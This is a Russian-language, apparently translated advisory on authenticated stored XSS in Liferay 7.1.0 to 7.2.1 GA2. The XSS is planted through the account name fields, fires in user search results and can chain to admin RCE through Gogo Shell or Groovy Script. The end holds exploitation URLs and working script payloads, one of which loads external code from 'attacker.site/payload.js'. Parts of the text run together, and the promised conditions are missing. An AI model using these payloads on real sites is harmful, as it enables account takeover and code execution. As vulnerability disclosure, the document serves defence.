
Аутентифицированная хранимая XSS в LifeRay 7.2.0 GA1 через MyAccountPortlet, выполняемый результатами поиска
В LifeRay версии 7.1.0 до 7.2.1 GA2 поля «Имя», «Отчество» и «Фамилия» для учетных записей пользователей уязвимы для сохраненной XSS. Любой пользователь может изменить эти поля с помощью определенной XSS-нагрузки, и она будет сохранена в базе данных, «заражая» пользователя. Нагрузка будет выполнена, когда пользователь воспользуется функцией поиска для поиска других пользователей. Если зараженный пользователь отображается в результатах поиска, XSS-нагрузка выполнится.
Эта уязвимость позволяет злоумышленнику выполнить произвольный код в контексте любого пользователя, который активирует XSS-нагрузку через поиск. На практике это может привести к повышению привилегий от непривилегированного пользователя до администратора, а также к боковому перемещению при захвате других учетных записей. Кроме того, все, что может быть выполнено через JavaScript, может быть эксплуатировано в контексте другого пользователя.
Как вы увидите в доказательстве концепции (PoC), это широко открыто, так как злоумышленник имеет возможность легко загружать внешние скрипты в контексте по умолчанию.
Большинство важных сессионных куки помечены как HTTPOnly, что в основном предотвращает простые методы перехвата сессии. Тем не менее, следует отметить, что пользователи, просматривающие страницу в старых браузерах, еще более подвержены этому воздействию из-за XST-атак.
Поскольку пользователи-администраторы могут выполнять команды Gogo Shell и Groovy Script, возможно также объединить эту эксплуатацию с этими обычно предназначенными функциями, чтобы получить незапланированное RCE на хост-системе, начиная с непривилегированного пользователя.
Для того чтобы эта уязвимость сработала, должны быть выполнены два условия:
Как только эти условия выполнены, можно выполнить следующие шаги для эксплуатации уязвимости:
Настройки учетной записи
Настройки учетной записиhttp://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????Сохранитьhttp://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive и нажав на иконку «три точки» с правой стороны, затем выберите присоединиться.http://mysite.com/web/guest/search?q=<my user>
<<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC="//attacker.site/payload.js"><SCRIPT SRC="//xss.rocks/xss.js"/>Версия отчета 4.0